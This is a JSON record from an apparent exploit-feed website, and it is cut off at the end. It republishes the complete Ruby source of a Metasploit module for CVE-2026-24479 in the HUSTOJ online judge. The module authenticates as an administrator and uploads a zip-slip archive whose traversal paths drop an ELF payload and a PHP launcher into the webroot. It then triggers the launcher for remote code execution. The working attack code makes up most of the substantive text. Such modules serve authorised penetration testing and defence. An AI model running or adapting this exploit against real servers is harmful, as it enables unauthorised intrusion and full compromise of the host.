{"id":54917,"date":"2026-05-15T14:35:49","date_gmt":"2026-05-15T14:35:49","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=54917"},"modified":"2026-05-15T14:35:49","modified_gmt":"2026-05-15T14:35:49","slug":"hustoj-admin-users-can-zip-slip-problemimportqduojphp-planting-php-files-in-webroot-for-rce","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=54917","title":{"rendered":"HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE_MSF:EXPLOIT-LINUX-HTTP-HUSTOJ_PROBLEM_IMPORT_RCE-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-15T19:28:14&#8243;,&#8221;description&#8221;:&#8221;A user with administrative privileges can abuse the problemimportqduoj.php CGI script using a crafted zip file zip-slip to traverse backwards through the filesystem, then to the webroot, where they can extract a PHP file that spawns a shell to get full&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-15T19:01:53&#8243;,&#8221;modified&#8221;:&#8221;2026-05-15T19:01:53&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-HTTP-HUSTOJ_PROBLEM_IMPORT_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-24479&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nrequire &#8216;digest\/md5&#8217;\\n# Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = GreatRanking\\n  include Msf::Exploit::Remote::HttpClient\\n  include Msf::Exploit::Retry\\n  include Msf::Exploit::EXE\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE&#8217;,\\n        &#8216;Description&#8217; =\\u003e \\u003c\\u003c~DESC,\\n          A user with administrative privileges can abuse the problem_import_qduoj.php CGI script\\n          using a crafted zip file (zip-slip) to traverse backwards through the filesystem, then to the\\n          webroot, where they can extract a PHP file that spawns a shell to get full RCE in the\\n          context of the webserver.\\n        DESC\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;oxagast&#8217;, # exploit author\\n          &#8216;LoTuS and friends&#8217;, # chinese to english translations\\n          &#8216;ling101w&#8217; # original discovery\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Arch&#8217; =\\u003e [ARCH_X64],\\n        &#8216;References&#8217; =\\u003e [\\n          [\\n            &#8216;URL&#8217;, &#8216;https:\/\/github.com\/oxagast\/oxasploits\/blob\/JoshuaJohnWard\/exploits&#8217; \\\\\\n            &#8216;\/CVE-2026-24479\/hustoj_problem_import_rce.rb&#8217;\\n          ],\\n          [\\n            &#8216;URL&#8217;, &#8216;https:\/\/github.com\/zhblue\/hustoj\/commit\/902bd09e6d0011fe89cd84d423&#8217; \\\\\\n            &#8216;6899314b33101f&#8217;\\n          ],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/zhblue\/hustoj\/security\/advisories\/GHSA-xmgg-2rw4-7fxj&#8217;],\\n          [&#8216;CVE&#8217;, &#8216;2026-24479&#8217;],\\n          [&#8216;CWE&#8217;, &#8217;22&#8217;]\\n        ],\\n        &#8216;Platform&#8217; =\\u003e &#8216;linux&#8217;,\\n        &#8216;Targets&#8217; =\\u003e [[&#8216;Auto&#8217;, {} ]],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\\n        },\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-01-26&#8217;\\n      )\\n    )\\n    register_options(\\n      [\\n        OptString.new(&#8216;USERNAME&#8217;, [true, \\&#8221;The HUSTOJ administrative user&#8217;s username\\&#8221;, &#8216;admin&#8217;]),\\n        OptString.new(&#8216;PASSWORD&#8217;, [true, \\&#8221;The HUSTOJ administrative user&#8217;s password\\&#8221;, nil]),\\n        OptString.new(&#8216;DROPFILE&#8217;, [false, &#8216;The name of the file to drop on the target (without extension)&#8217;, &#8216;RANDOM&#8217;]),\\n        OptString.new(&#8216;SERVLOC&#8217;, [true, &#8216;The location HUSTOJ is being served from&#8217;, &#8216;\/home\/judge&#8217;]),\\n        OptBool.new(&#8216;FORCE&#8217;, [false, &#8216;Try to exploit even if it will probably fail&#8217;, false]),\\n        OptInt.new(&#8216;TRAVERSE_LIMIT&#8217;, [true, &#8216;Number of ..\/ traversals to include in zip slip paths&#8217;, 6]),\\n        OptInt.new(&#8216;TIME_LIMIT&#8217;, [true, &#8216;Time limit for the exploit to succeed in seconds&#8217;, 60])\\n      ]\\n    )\\n  end\\n\\n  # Authenticate as admin and return session cookies\\n  def login(user, pass)\\n    check = send_request_cgi(\\n      &#8216;uri&#8217; =\\u003e &#8216;\/include\/reinfo.js&#8217;,\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/javascript&#8217;\\n    )\\n    if check.nil?\\n      fail_with(Failure::Unreachable, &#8216;Failed to connect to the target webserver!&#8217;)\\n    else\\n      print_good(\\&#8221;Connected to the target webserver! #{Rex::Socket.to_authority(datastore[&#8216;RHOST&#8217;], datastore[&#8216;RPORT&#8217;])}\\&#8221;)\\n    end\\n    # try to figure out what we are running against\\n    unless check \\u0026\\u0026 check.code == 200\\n      if check \\u0026\\u0026 check.code == 404\\n        print_error(&#8216;Target returned 404 for \/include\/reinfo.js, this is not HUSTOJ!&#8217;)\\n      else\\n        print_error(&#8216;Target responded, but check did not pass!&#8217;)\\n      end\\n      unless datastore[&#8216;FORCE&#8217;]\\n        fail_with(Failure::NotFound, &#8216;Could not find reinfo.js. Target is not running HUSTOJ! Try FORCE.&#8217;)\\n      end\\n    end\\n    unless check \\u0026\\u0026 check.code == 200 \\u0026\\u0026 check.body \\u0026\\u0026 check.body.include?(&#8216;function escapeHtml(str) {&#8216;) == false\\n      print_error(&#8216;Target appears to be running HUSTOJ, but my be a patched version!&#8217;)\\n      unless datastore[&#8216;FORCE&#8217;]\\n        print_error(&#8216;Body check does not contain escapehtml function&#8230;&#8217;)\\n        fail_with(Failure::NotVulnerable, &#8216;Target is running a patched version of HUSTOJ!  Try FORCE.&#8217;)\\n      end\\n    end\\n    if check \\u0026\\u0026 check.code == 200 \\u0026\\u0026 check.body \\u0026\\u0026 check.body.include?(&#8216;var ret=pat.exec(errmsg);&#8217;) \\u0026\\u0026 check.body.include?(&#8216;function escapeHtml(str) {&#8216;) == false\\n      print_good(&#8216;Good! Target appears to be running a vulnerable version of HUSTOJ!&#8217;)\\n    else\\n      print_error(&#8216;Target does not appear to be running a vulnerable version of HUSTOJ!&#8217;)\\n      unless datastore[&#8216;FORCE&#8217;]\\n        print_error(&#8216;Body check does not contain pat.exec function&#8217;)\\n        fail_with(Failure::NotFound, &#8216;Target is not HUSTOJ or is a patched version!  Try FORCE.&#8217;)\\n      end\\n    end\\n    send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e &#8216;\/login.php&#8217;,\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded&#8217;,\\n      &#8216;vars_post&#8217; =\\u003e {\\n        &#8216;user_id&#8217; =\\u003e user,\\n        &#8216;password&#8217; =\\u003e Digest::MD5.hexdigest(pass)\\n      }\\n    )\\n\\n    # Check if login was successful\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e &#8216;\/modifypage.php&#8217;,\\n      &#8216;keep_cookies&#8217; =\\u003e true\\n    )\\n    # we check for userinfo.php because it doesn&#8217;t exist if our login fails\\n    unless res \\u0026\\u0026 res.code == 200 \\u0026\\u0026 res.body \\u0026\\u0026 res.body.include?(&#8216;userinfo.php&#8217;)\\n      fail_with(Failure::NoAccess, &#8216;Failed to authenticate! Check credentials.&#8217;)\\n    end\\n    stars = &#8216;*&#8217; * pass.length\\n    print_good(\\&#8221;Logged in successfully! #{user}:#{stars}\\&#8221;)\\n    # Check if the account has admin privileges\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e &#8216;\/admin\/menu2.php&#8217;,\\n      &#8216;keep_cookies&#8217; =\\u003e true\\n    )\\n    unless res \\u0026\\u0026 res.code == 200 \\u0026\\u0026 res.body \\u0026\\u0026 res.body.include?(&#8216;problem_import.php&#8217;)\\n      fail_with(Failure::NoAccess, &#8216;Authenticated but does not appear to have admin privileges!&#8217;)\\n    end\\n    return true\\n  end\\n\\n  # Upload the malicious zip payload using the admin session\\n  def upload_payload(zip_dat, _rand_tag, dds)\\n    zip_size_kb = (zip_dat.length \/ 1024.0).round(2)\\n    print_status(\\&#8221;Uploading the payload&#8230; #{zip_size_kb}kb\\&#8221;)\\n    form_data = Rex::MIME::Message.new\\n    # it is ncessary for the MIME type to be application\/octet-stream instead of application\/zip\\n    # for this to work when using Rex::MIME::Message, otherwise no POST req is ever made.  Not\\n    # entirely sure what causes this.\\n    form_data.add_part(zip_dat, &#8216;application\/octet-stream&#8217;, nil, \\&#8221;form-data; name=\\\\\\&#8221;fps\\\\\\&#8221;; filename=\\\\\\&#8221;#{datastore[&#8216;DROPFILE&#8217;]}.zip\\\\\\&#8221;\\&#8221;)\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e &#8216;\/admin\/problem_import_qduoj.php&#8217;,\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{form_data.bound}\\&#8221;,\\n      &#8216;data&#8217; =\\u003e form_data.to_s\\n    )\\n    if res \\u0026\\u0026 res.code == 200\\n      print_good(\\&#8221;Payload uploaded! #{datastore[&#8216;DROPFILE&#8217;]}.zip\\&#8221;)\\n      print_status(\\&#8221;This is where the zipslip happens&#8230; #{dds} (levels: #{datastore[&#8216;TRAVERSE_LIMIT&#8217;]})\\&#8221;)\\n    else\\n      fail_with(Failure::UnexpectedReply, &#8216;Failed to upload the payload! Check your session and try again.&#8217;)\\n    end\\n  end\\n\\n  # Trigger the uploaded PHP shell to execute the payload\\n  def trigger_sploit(rand_tag)\\n    print_status(\\&#8221;Triggering the php script&#8230; #{datastore[&#8216;DROPFILE&#8217;]}-#{rand_tag}.php\\&#8221;)\\n    trig = send_request_raw(\\n      {\\n        &#8216;uri&#8217; =\\u003e \\&#8221;\/#{datastore[&#8216;DROPFILE&#8217;]}-#{rand_tag}.php\\&#8221;,\\n        &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n      }\\n    )\\n    if trig \\u0026\\u0026 trig.code == 200\\n      sleep(2) # give it a moment to pop the session before we ret\\n      return true\\n    end\\n  end\\n\\n  # Clean up dropped files after exploitation\\n  def cleanup\\n    super\\n    # prevents the cleanup routine from running multiple times (reduses log noise)\\n    send_request_raw(\\n      {\\n        &#8216;uri&#8217; =\\u003e \\&#8221;\/#{datastore[&#8216;DROPFILE&#8217;]}-cu.php\\&#8221;,\\n        &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n      }\\n    )\\n    print_status(&#8216;Cleaning up the payload caller and shell files&#8230;&#8217;)\\n  end\\n\\n  # Main exploit logic\\n  def exploit\\n    # Authenticate, upload, and trigger the exploit!\\n    if datastore[&#8216;DROPFILE&#8217;] == &#8216;RANDOM&#8217;\\n      datastore[&#8216;DROPFILE&#8217;] = Rex::Text.rand_text_alpha(3)\\n    end\\n    opts = {\\n      format: &#8216;elf&#8217;\\n    }\\n    shell_gend = generate_payload_exe(opts)\\n    unless datastore[&#8216;DROPFILE&#8217;].match?(\/\\\\A\\\\w+\\\\z\/)\\n      fail_with(Failure::BadConfig, &#8216;DROPFILE should be alphanumeric.&#8217;)\\n    end\\n    if shell_gend.empty?\\n      fail_with(Failure::PayloadFailed, &#8216;Payload generation failed!  Try a different payload?&#8217;)\\n    end\\n    print_good(\\&#8221;Payload generated! #{datastore[&#8216;PAYLOAD&#8217;]}\\&#8221;)\\n    # Generate a random tag for file uniqueness\\n    rand_tag = Rex::Text.rand_text_alpha(5)\\n    print_status(\\&#8221;Random payload tag #{rand_tag}\\&#8221;)\\n    # PHP script to call the ELF payload\\n    shell_caller = \\&#8221;\\u003c?php http_response_code(200); fastcgi_finish_request(); chmod(&#8216;\/tmp\/#{datastore[&#8216;DROPFILE&#8217;]}-#{rand_tag}&#8217;, 0700); system(&#8216;\/tmp\/#{datastore[&#8216;DROPFILE&#8217;]}-#{rand_tag}&#8217;); ?\\u003e\\&#8221;\\n    # PHP script to clean up dropped files\\n    cleanup_caller = \\&#8221;\\u003c?php unlink(&#8216;\/tmp\/#{datastore[&#8216;DROPFILE&#8217;]}-#{rand_tag}&#8217;); unlink(&#8216;#{datastore[&#8216;SERVLOC&#8217;]}\/src\/web\/#{datastore[&#8216;DROPFILE&#8217;]}\\&#8221; \\\\\\n      \\&#8221;-#{rand_tag}.php&#8217;); unlink(&#8216;#{datastore[&#8216;SERVLOC&#8217;]}\/src\/web\/#{datastore[&#8216;DROPFILE&#8217;]}-cu.php&#8217;); ?\\u003e\\&#8221;\\n    dds = &#8216;..\/&#8217; * datastore[&#8216;TRAVERSE_LIMIT&#8217;] # Directory traversal string for zipslip\\n    # Files to include in the malicious zip (zipslip paths for traversal)\\n    # problem_1010 in\/out files can be empty, but should be in the zip to ensure serverside import\\n    files = [\\n      { data: shell_gend, fname: \\&#8221;#{dds}tmp\/#{datastore[&#8216;DROPFILE&#8217;]}-#{rand_tag}\\&#8221; },\\n      { data: shell_caller, fname: \\&#8221;#{dds}#{datastore[&#8216;SERVLOC&#8217;]}\/src\/web\/#{datastore[&#8216;DROPFILE&#8217;]}-#{rand_tag}.php\\&#8221; },\\n      { data: cleanup_caller, fname: \\&#8221;#{dds}#{datastore[&#8216;SERVLOC&#8217;]}\/src\/web\/#{datastore[&#8216;DROPFILE&#8217;]}-cu.php\\&#8221; },\\n      { data: &#8216;{}&#8217;, fname: &#8216;problem_1010.json&#8217; },\\n      { data: &#8221;, fname: &#8216;problem_1010\/1.in&#8217; },\\n      { data: &#8221;, fname: &#8216;problem_1010\/1.out&#8217; }\\n    ]\\n    # Create the malicious zip archive\\n    zip_dat = Msf::Util::EXE.to_zip(files)\\n    fail_with(Failure::PayloadFailed, &#8216;Zip generation failed!&#8217;) if zip_dat.empty?\\n    print_good(\\&#8221;Zip file generated! Files: #{files.length}\\&#8221;)\\n    unless datastore[&#8216;TRAVERSE_LIMIT&#8217;] \\u003e= 2\\n      fail_with(Failure::BadConfig, &#8216;TRAVERSE_LIMIT should be at least 2 to ensure the zip slip can reach the root of the fs!&#8217;)\\n    end\\n    unless datastore[&#8216;USERNAME&#8217;] \\u0026\\u0026 datastore[&#8216;PASSWORD&#8217;]\\n      fail_with(Failure::BadConfig, &#8216;USERNAME and PASSWORD must be set to an admin account!&#8217;)\\n    end\\n    unless login(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;]) \\u0026\\u0026 upload_payload(zip_dat, rand_tag, dds)\\n      fail_with(Failure::Unknown, &#8216;Something strange happened in the login or upload!&#8217;)\\n    end\\n    popped = retry_until_truthy(timeout: datastore[&#8216;TIME_LIMIT&#8217;]) do\\n      trigger_sploit(rand_tag)\\n    end\\n    unless popped\\n      fail_with(Failure::PayloadFailed, &#8216;Failed to trigger the payload within timeout!  Check your listener?&#8217;)\\n    end\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/http\/hustoj_problem_import_rce.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/http\/hustoj_problem_import_rce\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-15T19:28:14&#8243;,&#8221;description&#8221;:&#8221;A user with administrative privileges can abuse the problemimportqduoj.php CGI script using a crafted zip file zip-slip to traverse backwards through the filesystem, then to&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-54917","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE_MSF:EXPLOIT-LINUX-HTTP-HUSTOJ_PROBLEM_IMPORT_RCE- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=54917\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE_MSF:EXPLOIT-LINUX-HTTP-HUSTOJ_PROBLEM_IMPORT_RCE- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-15T19:28:14&#8243;,&#8221;description&#8221;:&#8221;A user with administrative privileges can abuse the problemimportqduoj.php CGI script using a crafted zip file zip-slip to traverse backwards through the filesystem, then to...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=54917\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-15T14:35:49+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54917#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54917\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE_MSF:EXPLOIT-LINUX-HTTP-HUSTOJ_PROBLEM_IMPORT_RCE-\",\"datePublished\":\"2026-05-15T14:35:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54917\"},\"wordCount\":1935,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=54917#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54917\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54917\",\"name\":\"HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE_MSF:EXPLOIT-LINUX-HTTP-HUSTOJ_PROBLEM_IMPORT_RCE- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-15T14:35:49+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54917#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=54917\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54917#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE_MSF:EXPLOIT-LINUX-HTTP-HUSTOJ_PROBLEM_IMPORT_RCE-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE_MSF:EXPLOIT-LINUX-HTTP-HUSTOJ_PROBLEM_IMPORT_RCE- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=54917","og_locale":"en_US","og_type":"article","og_title":"HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE_MSF:EXPLOIT-LINUX-HTTP-HUSTOJ_PROBLEM_IMPORT_RCE- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-15T19:28:14&#8243;,&#8221;description&#8221;:&#8221;A user with administrative privileges can abuse the problemimportqduoj.php CGI script using a crafted zip file zip-slip to traverse backwards through the filesystem, then to...","og_url":"https:\/\/zero.redgem.net\/?p=54917","og_site_name":"zero redgem","article_published_time":"2026-05-15T14:35:49+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=54917#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=54917"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE_MSF:EXPLOIT-LINUX-HTTP-HUSTOJ_PROBLEM_IMPORT_RCE-","datePublished":"2026-05-15T14:35:49+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=54917"},"wordCount":1935,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=54917#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=54917","url":"https:\/\/zero.redgem.net\/?p=54917","name":"HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE_MSF:EXPLOIT-LINUX-HTTP-HUSTOJ_PROBLEM_IMPORT_RCE- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-15T14:35:49+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=54917#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=54917"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=54917#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for 